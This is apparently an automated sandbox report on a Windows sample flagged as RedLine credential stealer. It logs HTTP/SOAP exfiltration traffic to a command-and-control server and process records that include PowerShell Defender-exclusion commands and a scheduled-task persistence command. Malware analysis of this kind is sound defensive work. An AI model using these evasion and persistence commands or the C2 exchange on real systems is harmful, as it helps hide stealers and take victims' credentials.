Jul 27, 2024 04:12:28.792866945 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.792902946 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.792915106 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.792926073 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.792937040 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.792948008 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.792968988 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793020964 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793034077 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793045998 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793056011 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793066978 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793076992 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793189049 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793200970 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793211937 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793216944 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793227911 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793239117 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793250084 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793272018 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793282986 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793324947 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793335915 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793346882 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793359995 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793380022 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793391943 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793406010 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793453932 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793467045 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793823004 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:28.793932915 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:29.549830914 CEST	55615	49718	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:29.561192036 CEST	49718	55615	192.168.2.5	185.222.57.151

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 04:12:15.072236061 CEST	63247	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 27, 2024 04:12:15.072236061 CEST	192.168.2.5	1.1.1.1	0x91a1	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 27, 2024 04:12:15.079286098 CEST	1.1.1.1	192.168.2.5	0x91a1	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

185.222.57.151:55615

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	185.222.57.151	55615	3620	C:\Users\user\Desktop\RgIbrhxoEx.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 04:12:08.972822905 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 185.222.57.151:55615 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jul 27, 2024 04:12:09.555092096 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 27 Jul 2024 02:12:08 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Jul 27, 2024 04:12:14.689630985 CEST	224	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 185.222.57.151:55615 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 27, 2024 04:12:14.861968040 CEST	25	IN	HTTP/1.1 100 Continue
Jul 27, 2024 04:12:14.959398031 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 11637 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 27 Jul 2024 02:12:13 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>113.91.141.250</b:string><b:string>112.20.141.71</b:string><b:string>123.246.126.11</b:string><b:string>14.216.97.151</b:string><b:string>211.136.225.172</b:string><b:string>117.30.116.225</b:string><b:string>223.73.226.107</b:string><b:string>223.73.137.72</b:string><b:string>139.186.206.86</b:string><b:string>121.32.179.90</b:string><b:string>14.155.32.179</b:string><b:string>27.187.215.170</b:string><b:string>122.242.151.246</b:string><b:string>112.20.141.181</b:string><b:string>110.87.4.123</b:string><b:string>121.27.85.165</b:string><b:string>59.41.188.218</b:string><b:string>218.71.255. [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	185.222.57.151	55615	3620	C:\Users\user\Desktop\RgIbrhxoEx.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 04:12:18.164112091 CEST	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 185.222.57.151:55615 Content-Length: 961769 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 27, 2024 04:12:19.710987091 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 27 Jul 2024 02:12:17 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	185.222.57.151	55615	7448	C:\Users\user\AppData\Roaming\LjGABleGAy.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 04:12:18.217052937 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 185.222.57.151:55615 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jul 27, 2024 04:12:18.834283113 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 27 Jul 2024 02:12:17 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Jul 27, 2024 04:12:23.884210110 CEST	224	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 185.222.57.151:55615 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 27, 2024 04:12:24.059897900 CEST	25	IN	HTTP/1.1 100 Continue
Jul 27, 2024 04:12:24.157140970 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 11637 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 27 Jul 2024 02:12:22 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>113.91.141.250</b:string><b:string>112.20.141.71</b:string><b:string>123.246.126.11</b:string><b:string>14.216.97.151</b:string><b:string>211.136.225.172</b:string><b:string>117.30.116.225</b:string><b:string>223.73.226.107</b:string><b:string>223.73.137.72</b:string><b:string>139.186.206.86</b:string><b:string>121.32.179.90</b:string><b:string>14.155.32.179</b:string><b:string>27.187.215.170</b:string><b:string>122.242.151.246</b:string><b:string>112.20.141.181</b:string><b:string>110.87.4.123</b:string><b:string>121.27.85.165</b:string><b:string>59.41.188.218</b:string><b:string>218.71.255. [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	185.222.57.151	55615	3620	C:\Users\user\Desktop\RgIbrhxoEx.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 04:12:19.719541073 CEST	242	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 185.222.57.151:55615 Content-Length: 961761 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jul 27, 2024 04:12:21.212205887 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 27 Jul 2024 02:12:19 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	185.222.57.151	55615	7448	C:\Users\user\AppData\Roaming\LjGABleGAy.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 04:12:27.258871078 CEST	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 185.222.57.151:55615 Content-Length: 961280 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 27, 2024 04:12:28.758013964 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 27 Jul 2024 02:12:26 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Jul 27, 2024 04:12:28.761024952 CEST	218	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 185.222.57.151:55615 Content-Length: 961272 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 27, 2024 04:12:29.549830914 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 27 Jul 2024 02:12:28 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	0
Start time:	22:11:59
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\RgIbrhxoEx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\RgIbrhxoEx.exe"
Imagebase:	0x8b0000
File size:	563'720 bytes
MD5 hash:	304EA6D5CF3786D19DE14F004D7D057A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2133731245.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.2133731245.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000002.2133731245.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:12:05
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe"
Imagebase:	0x3a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:12:05
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:12:05
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\LjGABleGAy.exe"
Imagebase:	0x3a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:12:05
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:12:05
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp3B03.tmp"
Imagebase:	0x550000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:12:06
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:12:06
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\RgIbrhxoEx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\RgIbrhxoEx.exe"
Imagebase:	0xce0000
File size:	563'720 bytes
MD5 hash:	304EA6D5CF3786D19DE14F004D7D057A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:12:06
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:12:07
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
Imagebase:	0xcb0000
File size:	563'720 bytes
MD5 hash:	304EA6D5CF3786D19DE14F004D7D057A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 83%, ReversingLabs Detection: 43%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:12:08
Start date:	26/07/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:12:15
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp5E88.tmp"
Imagebase:	0x550000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
